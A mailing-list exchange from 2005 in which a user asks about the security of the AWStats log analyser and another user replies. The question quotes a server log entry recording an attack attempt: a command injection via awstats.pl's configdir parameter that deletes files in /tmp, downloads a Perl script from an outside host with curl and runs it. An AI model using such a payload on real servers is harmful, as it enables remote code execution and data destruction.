On 11/12/05, David P. Donahue <[EMAIL PROTECTED]> wrote:
> > http://awstats.sourceforge.net/
>
> Looks good.  One thing that concerns me, though.  The name sounded
> familiar because of some attempts made on my web server from time to
> time.  I notice entries like the following in my logs (sorry for any
> wrapping):
>
> host-216-153-162-21.pro.choiceone.net - - [13/Sep/2005:10:52:04 -0400]
> "GET
> /awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;curl%20-O%20http://www.geocities.com/h4x000r/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;echo|
> HTTP/1.1" 404 12682 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>
> On one such occasion I even went and downloaded the PERL script to which
> it links and looked through the code.  Pretty unsettling.  As with any
> service, security is always a concern.  But it concerned me that attacks
> were being directed at this awstats package.
>
> Is there anything I should know before just loading it up and running it?

Awstats works good. I you have concerns about securty just don't use
the cgi interface. Have a cron job build static reports.

Krist

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